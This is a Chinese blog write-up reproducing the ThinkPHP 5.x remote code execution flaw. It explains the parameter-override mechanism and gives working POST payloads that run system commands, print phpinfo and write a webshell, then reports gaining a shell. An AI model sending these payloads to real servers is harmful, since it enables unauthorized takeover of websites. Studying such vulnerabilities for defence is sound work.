ThinkPHP(5.0.23-rce)任意代碼執行漏洞復現及原理


漏洞詳情:

攻擊者可向緩存文件內寫入PHP代碼,導致遠程代碼執行。根據漏洞利用能得出通過s參數傳遞具體的路由。參考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程圖:

20190116110438.png

可以得到重要是參數為method和filter。value是傳入的數組值,由server決定。

解析POC:

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

_method=__construct:調用構造方法__construct(),可以覆蓋Request類的任意成員變量,這里修改了filter和server(value)兩個值,同時覆蓋了method。

filter=system:傳遞filter值,覆蓋原有值。

server[REQUEST_METHOD]=id:在調用$this→server('REQUEST_METHOD')時指定了鍵值,所以通過傳入server數組即可。

method=get:這里是通過check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules決定,而$rules的值取決於鍵值$method,當我們指定$method為get時,可以正確獲取到路由信息,從而通過checkRoute()檢查,此時我們通過指定method=get覆蓋$this->method的值即可

大佬的分析太妙了,這樣子之后,我們就可以直接修改filter以及server(value)的值了。將我們需要的值傳遞覆蓋之后,獲取正常的路由信息,就能返回我們想要的信息。

漏洞影響版本:

影響 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

漏洞利用:

index.php?s=captcha

漏洞復現:

根據POC我們使用hackbar進行測試,可以執行,后面嘗試獲取phpinfo。

undefined

將post值改為:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。

undefined

undefined

第一步中可以執行system命令,嘗試echo寫入是否可以執行。

將post值改為:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1

undefined

可以執行echo,后面嘗試寫入一句話木馬。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php

undefined

執行之后頁面無回現,嘗試調用ls命令。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

undefined

寫入成功,上蟻劍嘗試。

undefined

拿到Shell,復現完成。

POC回看:

使用hackbar,

url:/index.php?s=captcha

post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM